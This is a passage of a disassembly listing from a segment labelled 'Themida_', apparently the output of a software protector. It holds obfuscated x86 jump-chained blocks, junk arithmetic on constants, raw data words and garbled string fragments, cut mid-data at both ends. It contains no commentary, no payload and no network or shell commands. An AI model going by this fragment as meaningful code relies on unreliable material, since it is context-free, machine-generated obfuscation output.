1147A4BDh, 0A3ED8126h, 551D6C0Ah, 0FFA681E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CA7D: ; CODE XREF: Themida_:005681B6j pop edi add ecx, ebx pop ebx jmp loc_558A41 ; --------------------------------------------------------------------------- dw 0FF52h dd 5A042474h, 5C24048Fh, 0FF6126E9h, 809EB6FFh, 7E940F6h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA9F: ; CODE XREF: Themida_:00552EE5j mov esi, [esp] add esp, 4 add esp, 4 mov edx, 33291201h xor edx, ecx mov ecx, [esp] add esp, 4 and ecx, edx jmp loc_55E1B0 ; --------------------------------------------------------------------------- loc_55CAC5: ; CODE XREF: Themida_:0055AA52j mov eax, 704D52FFh add ebx, eax pop eax jmp loc_559BFD ; --------------------------------------------------------------------------- loc_55CAD2: ; CODE XREF: Themida_:00563175j add esp, 4 mov ecx, [esp] add esp, 4 push 2B0h mov [esp], ebp mov ebp, 1 add eax, ebp pop ebp push edx jmp loc_559095 ; --------------------------------------------------------------------------- dd 5899C581h, 0FD010FC6h, 5899ED81h, 9AE90FC6h, 8F000060h dd 0F5C2404h, 0EC83C8B7h, 54D7E904h, 0C5810000h, 4, 8704C583h dd 0E95C242Ch, 496Ch, 0B151E600h, 59CE288Ah, 9D686658h dd 1C89664Ch, 305FB324h, 305B66DEh, 88AAE9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB46: ; CODE XREF: Themida_:00558491j add ebp, 4 sub ebp, 2 jmp loc_556FB0 ; --------------------------------------------------------------------------- loc_55CB54: ; CODE XREF: Themida_:0055912Aj push ebp push ecx jmp loc_5635EC ; --------------------------------------------------------------------------- db 51h dd 0FFF427E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB61: ; CODE XREF: Themida_:00565EB3j add esp, 4 push edx push ebx push 4D411917h pop ebx neg ebx sub ebx, 8108AE79h jmp loc_5657D7 ; --------------------------------------------------------------------------- dd 72D6CB81h, 0C3810DB5h, 39BDE964h, 0FFC6C9E9h, 5AD701FFh dd 0FFB6BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB95: ; CODE XREF: Themida_:00563ADFj sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ecx jmp loc_552EC1 ; --------------------------------------------------------------------------- loc_55CBA9: ; CODE XREF: Themida_:0056013Aj mov [esp], ebx jmp loc_5556A6 ; --------------------------------------------------------------------------- loc_55CBB1: ; CODE XREF: Themida_:00559B9Aj mov [esp], edi jmp loc_55F9DB ; --------------------------------------------------------------------------- byte_55CBB9 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0055295Co dd 0F8E99C24h, 66FFFF5Fh, 0EE9FA31h, 51000063h, 801C6CB9h dd 0E9CA2173h, 6624h, 24348B5Fh, 4C481h, 0F6810000h, 376C4C73h dd 8BF53158h, 0C4832434h, 0E9E83104h, 0FFFFD97Ch dword_55CBF8 dd 24048B66h, 19DBE9h, 54575800h, 0D1E9555Fh ; DATA XREF: Themida_:00552A2Co db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC0B: ; CODE XREF: Themida_:0056749Fj sub edi, 7B5A15E5h sub edi, 0C4BFAA88h sub esi, edi pop edi add esi, 0AF7DD9Bh jmp loc_563A20 ; --------------------------------------------------------------------------- loc_55CC25: ; CODE XREF: Themida_:00567CD2j mov ebp, 3ED37EAEh not ebp jmp loc_552FFA ; --------------------------------------------------------------------------- loc_55CC31: ; CODE XREF: Themida_:0056501Ej push dword ptr [esp] jmp loc_55898A ; --------------------------------------------------------------------------- db 5Ch, 81h, 0C4h dd 4, 31243C33h, 57E9243Ch, 5A00006Ah, 5C24048Fh, 31243C33h dd 3C33243Ch, 24248B24h, 36D668h, 240C8900h, 240C8B54h dd 4C481h, 5BE90000h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC73: ; CODE XREF: Themida_:00561FE8j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi jmp loc_55367C ; --------------------------------------------------------------------------- db 0B2h, 0D2h, 0E9h dd 0FFFF9149h, 0A766E95Fh, 81450000h, 5A747CC5h, 51C58112h dd 18805CEh, 242C8BEFh, 8AB68h, 24148900h, 0E904EC83h dd 0A204h, 0B12BE952h, 0DD31FFFFh, 50E9815Bh, 129146Dh dd 0D411E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCCA: ; CODE XREF: Themida_:0055F156j push esp pop eax push ebx mov ebx, 61EF6744h shl ebx, 8 sub ebx, 0EF6743FCh add eax, ebx pop ebx jmp loc_553887 ; --------------------------------------------------------------------------- db 5Dh dd 73E98159h, 0E97ECE49h, 0FFFF8870h, 0FF243C89h, 5F042474h dd 0E924048Fh, 0FFFFA946h ; --------------------------------------------------------------------------- loc_55CD00: ; CODE XREF: Themida_:0055EE47j mov al, bl jmp loc_5584B8 ; --------------------------------------------------------------------------- db 58h dd 2474FF52h, 0B369E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD12: ; CODE XREF: Themida_:00555883j add esp, 4 jmp loc_55B5F9 ; --------------------------------------------------------------------------- dw 5755h dd 0D30D1A68h, 2434FF5Fh, 4C4835Fh, 24148757h, 356E9h dd 0C4815A00h, 4, 0E905EFC1h, 9702h, 2C281h, 0DE90000h db 20h, 2 dup(0) byte_55CD4B db 0FFh ; DATA XREF: Themida_:00552958o dd 48B2434h, 4C48324h, 9CCFE955h, 0FE01FFFFh, 7DBBE9h dd 24048B00h, 4C481h, 0D9050000h, 50332F2Dh, 0D889585Bh dd 24348B5Bh, 52E68956h, 4BAh, 5AD60100h, 55D0E9h db 0 ; --------------------------------------------------------------------------- loc_55CD89: ; CODE XREF: Themida_:0055AB07j mov esi, 4 add edx, 72E343Dh jmp loc_559653 ; --------------------------------------------------------------------------- loc_55CD99: ; CODE XREF: Themida_:0055D592j push edi jmp loc_562146 ; --------------------------------------------------------------------------- db 0B9h dd 78B62A06h, 3F18141h, 178B62Ah, 2434FFCFh, 59545159h dd 56C968h, 241C8900h, 4BBh, 0BBE98100h, 157357Ch, 908AE9D9h dd 0E6C1FFFFh, 81DEF708h, 8B2BACEEh, 0D8EE8168h, 144005Eh dd 554A5EF2h, 0CF5FA1BDh, 2E5C128h, 0C581D5F7h, 9B85404Eh dd 0E95DEA01h, 74F7h, 24048F5Ch, 24248Bh, 0E99C2404h, 0FFFF5DAFh dd 2587E953h, 0EF810000h, 615B7AB8h, 71E9EF29h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE1F: ; CODE XREF: Themida_:005537E9j push 7709h jmp loc_558C66 ; --------------------------------------------------------------------------- loc_55CE29: ; CODE XREF: Themida_:0055D4EEj or edx, 62F94849h sub edx, 945CA872h sub ebx, edx jmp loc_55727B ; --------------------------------------------------------------------------- dd 8B243433h, 1662424h, 0E99C2404h, 0FFFF5D6Fh ; --------------------------------------------------------------------------- loc_55CE4C: ; CODE XREF: Themida_:0056690Aj push 47Bh mov [esp], esi push edx jmp loc_55D6D9 ; --------------------------------------------------------------------------- loc_55CE5A: ; CODE XREF: Themida_:005664D8j add esp, 4 push ecx mov ecx, 1B1905F1h sub eax, ecx pop ecx add eax, ecx jmp loc_563366 ; --------------------------------------------------------------------------- dd offset dword_508358+310h align 2 dw 489h dd 634EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE7A: ; CODE XREF: Themida_:005660E4j push edx jmp loc_5667D6 ; --------------------------------------------------------------------------- dd 0F281FA87h, 2E7D5802h, 3EEB6850h, 1589C97h, 0D50158C2h dd 6E72E95Ah, 0EFC1FFFFh, 81EFD102h, 9EA0E9F7h, 0E9F80106h dd 86D7h ; --------------------------------------------------------------------------- loc_55CEAC: ; CODE XREF: Themida_:00558A98j mov edx, 6A1B0830h xor ebp, edx pop edx add ebp, 4332AC27h xor esi, ebp jmp loc_562DD6 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd offset byte_5904E9 dd 24348B00h, 4C481h, 0E9810000h, 38647B91h, 0FFE9CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CEDD: ; CODE XREF: Themida_:00564FC5j add eax, 695C4D48h mov ecx, [esp] jmp loc_55F892 ; --------------------------------------------------------------------------- dw 7401h dd 0B1E90424h, 31FFFF6Eh, 0F28958C6h, 4180E9h, 2DD00100h dd 77405F59h, 0AE7F292Dh, 0C5D1E911h, 0EDC1FFFFh, 12E58103h dd 833FBD03h, 0DDF701EDh, 0FDFBED81h, 0EB01FCEEh, 76E9525Dh dd 89000075h, 99E92434h, 59FFFF98h, 0FFAD2CE9h, 24048FFFh dd 4BE56h, 21E90000h, 5D000001h, 453FE681h, 0F6812DCCh dd 5BAE0A5Bh, 348BF029h, 3FE95524h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF5F: ; CODE XREF: Themida_:00558FA1j mov edx, ebp mov ebp, [esp] add esp, 4 shl edx, 2 push 267Ch mov [esp], eax mov eax, 2A17C60h sub edx, eax pop eax and edx, 610A3E4Ah neg edx push 1B6Bh jmp loc_55938D ; --------------------------------------------------------------------------- loc_55CF8C: ; CODE XREF: Themida_:00555BB0j pop esp mov ecx, [esp] add esp, 4 and ecx, eax jmp loc_55A19E ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 4, 54A8E9h, 5EF00100h, 5A2434FFh, 4C481h, 148B0000h dd 4C48324h, 4EC8355h, 0B8240489h, 5AC64F71h, 0BD155CBDh dd 58C53119h, 8103EDC1h, 0FFFFFFEDh, 0D8BA52FFh, 810B0643h dd 0D3396CAh, 0E9DAF742h, 0FFFFC48Ah, 840BC181h, 0CCE914B6h dd 89FFFFB1h, 0CCBF243Ch, 8174F748h, 0CF49D9EFh, 0C1DFF76Bh dd 0ABE902EFh, 57FFFF76h, 98632BBFh, 97F7810Eh, 4F7C2960h dd 2A6FC781h, 0F781611Ah, 1FDDAF8Dh, 555FFE01h, 77079F68h dd 0EDC15D3Fh, 0B8504D07h, 6F25AC75h, 0FF8DA6E9h, 243487FFh dd 241C895Ch, 0D98858B3h, 28DD045Bh, 66DD2CC8h, 81240C8Bh dd 2C4h, 4EC8300h, 0E9241489h, 0FFFFFA2Dh, 4247401h, 24148B5Eh dd 815D5455h, 4C5h, 4C58100h, 87000000h, 84E9242Ch, 4A000062h dd 0E9241487h, 3D60h, 6242C81h, 5B078D26h, 0FF665BE9h dd 0E9F109FFh, 4EA0h, 4240481h, 0FF000000h, 29E92434h dd 0FEFFFFE8h, 6E1C0C9h, 0CAE9D1F6h, 1000026h, 24FBE9EFh db 2 dup(0) word_55D0C6 dw 77FFh ; DATA XREF: Themida_:00552A78o dd 58669D1Ch, 9C240418h, 0FF74F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D0D5: ; CODE XREF: Themida_:00556984j xor ecx, edx pop edx sub ebx, 256D6B4Ch sub ebx, 45A327ECh add ebx, ecx jmp loc_5545DA ; --------------------------------------------------------------------------- db 31h dd 0D9295DEBh, 81E9015Bh, 753A6C1h, 2434FF7Fh, 4C4815Dh dd 83000000h, 0C8702C1h, 0F7665C24h, 793AE9E9h, 0FA01FFFFh dd 0DBC7815Fh, 0E953706Fh, 9AEBh ; --------------------------------------------------------------------------- loc_55D120: ; CODE XREF: Themida_:0055FC0Cj sub bl, 20h sub bl, 7Ch sub bl, al jmp loc_567E9D ; --------------------------------------------------------------------------- loc_55D12D: ; CODE XREF: Themida_:0056810Bj add esp, 4 add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push 40000h pop edx jmp loc_5655CA ; --------------------------------------------------------------------------- aQiss db 'Q┴АИ',0 dw 14h dd 24148900h, 4BAh, 539AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D162: ; CODE XREF: Themida_:00563CBDj mov [esp], edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push eax jmp loc_55E7B5 ; --------------------------------------------------------------------------- loc_55D180: ; CODE XREF: Themida_:0056677Ej add edx, ecx pop ecx push dword ptr [esp] pop ecx add esp, 4 sub edx, 650F34E3h jmp loc_55E615 ; --------------------------------------------------------------------------- aYhH db 'Yh',0Dh,'H',0 dw 0E900h dd 0FFFF5F85h, 5C243487h, 1340F781h, 5AE95265h, 87FFFF7Dh dd 0E95C242Ch, 0FFFF796Bh, 815EF101h, 4ECh, 242C8900h dd 2BDh, 5DE90100h, 0E904EC83h, 0FFFF62F0h ; --------------------------------------------------------------------------- loc_55D1D4: ; CODE XREF: Themida_:00558A57j push ebx mov ebx, 8B569B4h or ebx, 457E5FB9h xor ebx, 5EC26E00h mov edx, ebx pop ebx xor edx, 703A2639h jmp loc_55C378 ; --------------------------------------------------------------------------- loc_55D1F4: ; CODE XREF: Themida_:00559CB0j sub edx, 9729E444h xor ecx, edx pop edx jmp loc_55477E ; --------------------------------------------------------------------------- dw 3F34h dd 6604E0C0h, 303BB753h, 1C8B66F8h, 5C33E924h, 0C481FFFFh dd 4, 0FFC7B4E9h, 0E95966FFh, 0A493h ; --------------------------------------------------------------------------- loc_55D228: ; CODE XREF: Themida_:0055AFA5j shr edx, 4 inc edx sub edx, 306B70E9h sub edx, 0D4E2CB66h jmp loc_55852A ; --------------------------------------------------------------------------- loc_55D23D: ; CODE XREF: Themida_:0055BFDBj mov ebp, esp jmp loc_562997 ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFD300h, 0C0EAE954h, 815DFFFFh, 4C5h dd 84BA5200h, 0F77E203Bh, 2E2C1DAh, 0E907EAC1h, 0A9ECh ; --------------------------------------------------------------------------- loc_55D26C: ; CODE XREF: Themida_:00565730j add edi, 4 jmp loc_567AF1 ; --------------------------------------------------------------------------- db 50h dd 3E375CB8h, 0A3FBE93Dh, 814D0000h, 443CE7EDh, 2C83556Fh dd 2C8BFF24h, 4C48124h, 0E9000000h, 62C8h, 5E9C581h, 0E80108A5h dd 27D7E9h db 0 byte_55D2A9 db 64h, 66h, 0Fh ; DATA XREF: Themida_:00552964o dd 895002B6h, 86853E0h, 89000054h, 68E92434h, 8300005Fh dd 0EB8104C4h, 4, 8B241C87h, 2C892424h, 2474FF24h, 242C8B04h dd 8F04C483h, 248B2404h, 89666424h, 58D1E902h, 0BB53FFFFh dd 2B711B28h, 0FFBBE8E9h, 0E905B0FFh, 0FFFFD2C7h, 0A05D8F7h dd 2D6FD64Dh, 879D57Dh, 5058C331h, 0B8h, 89D82900h, 24048BC3h dd 4C481h, 0C14B0000h, 0EB8105EBh, 0F9073002h, 2C186A2Dh dd 0E9D8292Eh, 3FC5h, 8104C483h, 0B223C7C1h, 81C10108h dd 0B223C7E9h, 0D7C18108h, 8B50E947h, 89522404h, 4C281E2h dd 0E9000000h, 0FFFFB7F8h, 8B242C33h, 88522424h, 0D18851CAh dd 59870C88h, 0E92434FFh, 0FFFFAF0Fh, 81243C8Bh, 4C4h dd 55B52D00h, 0E6E93809h, 3400000Ah, 58C72852h, 2843F780h dd 665B5BF8h, 0F9B25253h, 4EC81h, 0C890000h, 0D0885024h dd 0E9C78853h, 641Eh, 8839F8BEh, 50D6F737h, 99A5E9h, 81D52900h dd 17043BEDh, 0F7455A2Ah, 2EDC1DDh, 0F114C581h, 0FFE9E090h db 82h, 2 dup(0FFh) byte_55D3D3 db 66h ; DATA XREF: Themida_:00552930o dd 5024048Bh, 0A90CE9h, 243C8B00h, 4C481h, 42420000h, 118DEA81h dd 0A305EB4Fh, 2916D01Dh, 1DA32DD0h, 1BE916D0h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D3FF: ; CODE XREF: Themida_:00552FC9j mov edx, [esp] add esp, 4 push dword ptr [esp] mov esi, [esp] jmp loc_55E801 ; --------------------------------------------------------------------------- aZcbMgBMgBPOSsc db '╫х~┤C│Йmg^{)Й│бmg^{]│й╞>o',0Dh,'ИАc',0 align 2 word_55D432 dw 34FFh ; DATA XREF: Themida_:005529B4o dd 0EC835924h, 241C8904h, 729068h, 24248900h, 4240481h dd 8B000000h, 0C481241Ch, 4, 4C381h, 0EC830000h, 24148904h dd 0FF9FA6E9h, 3EE968FFh, 0C890000h, 81E18924h, 4C1h, 925FE900h dd 0EC810000h, 4, 0E9242C89h, 8DE4h, 34FFEF89h, 0E9515D24h dd 0FFFFC248h ; --------------------------------------------------------------------------- loc_55D494: ; CODE XREF: Themida_:00566A12j push 0B2D75E5h jmp loc_562A60 ; --------------------------------------------------------------------------- loc_55D49E: ; CODE XREF: Themida_:0055DEEEj pop esi push ebp jmp loc_5666EA ; --------------------------------------------------------------------------- aUHsEv db 'U╫ЛH▒',0Bh,'EV╬',0 align 10h dd 0EE290000h, 0FF9A1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D4B9: ; CODE XREF: Themida_:00554028j sub ebx, 33B262B6h inc ebx push edx mov edx, 7BF23020h and edx, 2F9C3432h dec edx sub edx, 1 push 6B82h mov [esp], ecx jmp loc_561724 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 61DEE9h db 0 ; --------------------------------------------------------------------------- loc_55D4E5: ; CODE XREF: Themida_:0055B41Fj shr ebx, 7 push edx mov edx, 4F612876h jmp loc_55CE29 ; --------------------------------------------------------------------------- loc_55D4F3: ; CODE XREF: Themida_:0055C273j pop edx push esi jmp loc_5598DC ; --------------------------------------------------------------------------- loc_55D4FA: ; CODE XREF: Themida_:00559D5Ej push 6314h mov [esp], ebp jmp loc_56015F ; --------------------------------------------------------------------------- loc_55D507: ; CODE XREF: Themida_:0055FE0Ej push edi mov edi, 78B55B3Ah push ecx mov ecx, 35643779h xor ecx, 0BA28B9h sub edi, ecx jmp loc_558672 ; --------------------------------------------------------------------------- loc_55D520: ; CODE XREF: Themida_:00562008j mov eax, [esp] jmp loc_567282 ; --------------------------------------------------------------------------- dd 8324148Bh, 545104C4h, 8216E959h, 8966FFFFh, 5AB1240Ch dd 0FF7518E9h, 417DBFFFh, 0C581951Ah, 7686174Dh, 0ED81FD01h dd 7686174Dh, 91B1E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D55A: ; CODE XREF: Themida_:00561FD4j xor edi, 532C663Eh sub eax, edi pop edi shl eax, 2 inc eax sub eax, 0D5770F83h add edi, eax pop eax sub edi, 4D5B632Bh jmp loc_5637A4 ; --------------------------------------------------------------------------- dw 8B66h dd 89502414h, 405E0h, 7DE90000h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D58B: ; CODE XREF: Themida_:00559748j xor edi, 0A4187ADCh push esi jmp loc_55CD99 ; --------------------------------------------------------------------------- db 8Bh dd 9662424h, 0E99C2404h, 0FFFF5617h ; --------------------------------------------------------------------------- loc_55D5A4: ; CODE XREF: Themida_:0055F554j mov al, 27h add al, 4Bh xor al, 0F5h sub al, 0C0h push edx mov dh, 52h xor al, dh pop edx and cl, al pop eax dec cl not cl push ebx mov bl, 22h sub bl, 0A3h and cl, bl pop ebx neg cl xor cl, 0D3h mov bh, cl pop ecx add dl, bh jmp loc_559AB5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 4C481h, 0EC830000h, 0B63FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5E6: ; CODE XREF: Themida_:00562822j push eax mov eax, 41F414FCh mov ebp, eax jmp loc_555E48 ; --------------------------------------------------------------------------- loc_55D5F3: ; CODE XREF: Themida_:00556F6Aj pop ecx jmp loc_55C1CF ; --------------------------------------------------------------------------- loc_55D5F9: ; CODE XREF: Themida_:00561CA1j push 1466h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push esi push edi mov edi, esp push esi jmp loc_5629F0 ; --------------------------------------------------------------------------- loc_55D616: ; CODE XREF: Themida_:005664FAj mov esi, 124026E9h jmp loc_55EEC9 ; --------------------------------------------------------------------------- dd 0FF5596E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D625: ; CODE XREF: Themida_:0055E7E8j dec ebp not ebp jmp loc_55E571 ; --------------------------------------------------------------------------- loc_55D62D: ; CODE XREF: Themida_:00561CCBj mov ebp, esp push esi push ebx push 416304Fh pop ebx shl ebx, 3 sub ebx, 20B18274h mov esi, ebx pop ebx add ebp, 635C42A6h jmp loc_5641F3 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 2404335Ch, 0E9240431h dd 0FFFF69A0h, 0BDBA5251h, 89283167h, 1CE95AD1h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D67B: ; CODE XREF: Themida_:0055E9E5j add esp, 4 jmp loc_5654E7 ; --------------------------------------------------------------------------- loc_55D686: ; CODE XREF: Themida_:00560CF8j add ecx, 4D51BCF9h add ebx, ecx pop ecx add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55FB5B ; --------------------------------------------------------------------------- dd 0E904E5C1h, 0FFFFBE01h, 1E99BB53h, 0EBC163EAh, 62EB8107h dd 819137A3h, 0BD4B05EEh, 0E9DE295Bh, 0FFFF7878h, 5904C483h dd 9E9DF01h, 29FFFFEAh, 24348BF7h, 71D8E9h db 0 ; --------------------------------------------------------------------------- loc_55D6D9: ; CODE XREF: Themida_:0055CE55j mov edx, 35161308h jmp loc_5612C2 ; --------------------------------------------------------------------------- db 46h dd 9E9F787h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D6EB: ; CODE XREF: Themida_:0055DA70j push eax mov eax, 3CC1599Ah push edi mov edi, 47DD63C6h jmp loc_55A780 ; --------------------------------------------------------------------------- loc_55D6FC: ; CODE XREF: Themida_:00566977j add ecx, ebx pop ebx push edi mov edi, 4 sub ecx, edi jmp loc_553445 ; --------------------------------------------------------------------------- dd offset asc_5BF680 ; "ллллллллллллллллллллллллллллллллллллллл"... dd 63E95AF0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D717: ; CODE XREF: Themida_:00565820j shr ebx, 8 or ebx, 685B67F3h or ebx, 31852DAh push esi mov esi, 0 sub esi, ebx jmp loc_55B41C ; --------------------------------------------------------------------------- loc_55D733: ; CODE XREF: Themida_:0055E57Aj add ebx, ebp jmp loc_557D82 ; --------------------------------------------------------------------------- dw 0E1C0h dd 7E9C005h, 0E9D7C180h, 354Bh, 835DEA01h, 148904ECh, 2474FF24h dd 1DB2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D75A: ; CODE XREF: Themida_:0056776Bj add dword ptr [esp], 4 pop eax add eax, 4 push edx mov edx, 5D8F5664h jmp loc_55C034 ; --------------------------------------------------------------------------- loc_55D76F: ; CODE XREF: Themida_:005629ACj push dword ptr [edi+eax*4] sub esp, 4 mov [esp], edi mov edi, 53437086h xor [esp+4], edi push dword ptr [esp] mov edi, [esp] push edi jmp loc_553504 ; --------------------------------------------------------------------------- dd 7AB8C781h, 835D615Bh, 1C8904ECh, 81E38924h, 4C3h, 4BD5500h dd 81000000h, 464032C3h, 81EB294Ch, 464032EBh, 727FE94Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D7BE: ; CODE XREF: Themida_:0055696Cj add ebp, 3DE86696h shl ebp, 2 xor ebp, 11869F3h sub ebp, 4551DF4h sub edx, ebp pop ebp add edx, esi add edx, 4762118Bh pop esi sub ecx, edx jmp loc_554AB3 ; --------------------------------------------------------------------------- dw 0B866h dd 66556146h, 8966C589h, 611AE9EAh, 0F0290000h, 214B5B05h dd 37685E0Eh, 0E9000000h, 96F6h ; --------------------------------------------------------------------------- loc_55D808: ; CODE XREF: Themida_:005579FCj add dword ptr [esp], 4 push dword ptr [esp] mov edi, [esp] jmp loc_554CDE ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 2434FFC6h, 4C48158h, 81000000h, 4EEh, 24348700h dd 242C895Ch, 242C8B54h, 0E904C483h, 0FFFFC9A1h, 2BDh dd 1520E900h, 0F0290000h, 0EB1D2D5Eh, 0E950C228h, 0FFFFDDBDh dd 0DFEBE952h, 5056FFFFh, 9E049668h, 24048B4Eh, 4C481h dd 0E0C10000h, 0BE564007h, 80FBE32h, 0FFA51BE9h, 505396FFh dd 0FC2124B8h, 58C3892Bh, 815BD831h, 742B4EEEh, 971BE92Fh dd 1CE90000h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D89F: ; CODE XREF: Themida_:005654F0j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push esp pop edx add edx, 4 push ebx jmp loc_56074D ; --------------------------------------------------------------------------- loc_55D8BD: ; CODE XREF: Themida_:0055FB71j push edi jmp loc_562014 ; --------------------------------------------------------------------------- loc_55D8C3: ; CODE XREF: Themida_:00567233j xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx pop eax push 2381h mov [esp], ebp push 2000000h jmp loc_55BFD7 ; --------------------------------------------------------------------------- loc_55D8E0: ; CODE XREF: Themida_:0056336Bj mov [eax], dl pop eax jmp loc_553CA2 ; --------------------------------------------------------------------------- dd 89240C89h, 7E77E9E1h, 0DE310000h, 6812E95Bh, 8F5E0000h dd 248B2404h, 24048924h, 0A4E9E089h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D90B: ; CODE XREF: Themida_:005569B9j push ax pushf jmp loc_552BBB ; --------------------------------------------------------------------------- loc_55D913: ; CODE XREF: Themida_:0055C17Cj sub eax, ebx sub eax, 50EB0EE4h sub eax, 3BA04E1Ch push ecx push ebx push 17DA4E23h pop ebx jmp loc_567B6E ; --------------------------------------------------------------------------- dd 0FFEB8143h, 81FFFFFFh, 280927C3h, 4EBC109h, 0D7E3EB81h dd 0DA29A1BAh, 81C2295Bh, 0EF0087C2h, 9F07E962h, 2C8B0000h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0FFF00DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D969: ; CODE XREF: Themida_:00561FC7j dec eax jmp loc_553036 ; --------------------------------------------------------------------------- db 80h dd 0EB8029F5h, 9B61E9ECh, 835C0000h, 0C8702C1h, 0D3665C24h dd 0E99C240Ch, 0FFFF522Fh, 0DAD4ED81h, 0EB895A16h, 81242C8Bh dd 4C4h, 7EBC100h, 0E957D3F7h, 7784h, 405E089h, 0E9000000h dd 0FFFFB195h, 242C895Ch, 277E9h, 4B800h, 6C810000h, 16DC0424h dd 440154AAh, 44810424h, 16DC0424h, 5A5854AAh, 4C281h dd 0C2830000h, 74FF5204h, 60E90424h, 0FFFFFFF2h, 835A2434h dd 48F04C4h, 29685C24h, 0E9000004h, 0FFFFCED7h ; --------------------------------------------------------------------------- loc_55DA00: ; CODE XREF: Themida_:00560DE0j and al, 3Bh dec al neg al xor al, 5Fh add al, 32h add bl, 0E9h add bl, al sub bl, 0E9h pop eax mov cx, [esp] add esp, 2 jmp loc_561FD9 ; --------------------------------------------------------------------------- db 81h dd 0FD1B32EAh, 2CEA811Bh, 8913E623h, 0C6E95AD6h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA33: ; CODE XREF: Themida_:00567A3Bj jz loc_560DAA push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edx mov edx, 608C3149h add dword ptr [esp+4], 6CDF03DCh sub dword ptr [esp+4], 25AC364Ch sub [esp+4], edx add dword ptr [esp+4], 25AC364Ch push eax jmp loc_562984 ; --------------------------------------------------------------------------- loc_55DA69: ; CODE XREF: Themida_:00566DA4j pop dword ptr [esp] pop esp mov [esp], esi jmp loc_55D6EB ; --------------------------------------------------------------------------- db 68h, 62h, 7Ah dd 3C890000h, 17BFBF24h, 0F781463Ah, 72B97DCBh, 8DE9DFF7h dd 0B0FFFF61h, 4E8C006h, 5D044004h, 28E8C580h, 644CE9C5h dd 0C681FFFFh, 732F28A0h, 0E7E9CE01h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DAAF: ; CODE XREF: Themida_:0055FE53j add esp, 4 add edi, 117532DFh add edi, edx sub edi, 117532DFh jmp loc_55C625 ; --------------------------------------------------------------------------- loc_55DAC8: ; CODE XREF: Themida_:00554274j jmp loc_552BBB ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0C4810000h, 4, 5104C183h, 42474FFh, 81240C8Bh dd 4C4h, 7880E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DAF2: ; CODE XREF: Themida_:0055F753j sub dword ptr [esp+4], 2F7A66FCh pop ebp mov esi, [esp] add esp, 4 add esi, 4 push edx mov edx, 4 jmp loc_5633D2 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFFEA5h, 1BB8505Fh, 0E976D679h, 0FFFF6820h, 0E06479BBh dd 6EC2E901h, 0D587FFFFh, 5F07C581h, 0EA89CEBAh, 0FF66D9E9h dd 6BE955FFh, 8BFFFFBBh, 0C892424h, 6EBE5624h, 8120BF23h dd 0B760E7CEh, 0DEEE8126h, 8177B855h, 7F1652E6h, 0BEE68124h dd 81502D53h, 0FB01F0C6h, 5EF189FFh, 8B1C4F09h, 0C481240Ch dd 4, 0FF503AE9h, 243C87FFh, 0E930FF5Ch, 0FFFF502Fh ; --------------------------------------------------------------------------- loc_55DB8C: ; CODE XREF: Themida_:0055F92Aj pop esp add edx, 0D250017h mov edi, [esp] add esp, 4 shr edx, 3 xor edx, esi xor esi, edx xor edx, esi push edi mov edi, 1 sub esi, edi jmp loc_5619BD ; --------------------------------------------------------------------------- loc_55DBB2: ; CODE XREF: Themida_:0055531Ej mov dh, 8Ch or dh, 0D3h xor dh, 25h sub bl, dh pop edx sub bl, al push 342Ah mov [esp], edx mov dl, 0DCh push ecx jmp loc_56134B ; --------------------------------------------------------------------------- db 33h dd 895C2404h, 5954240Ch, 7B96BE56h, 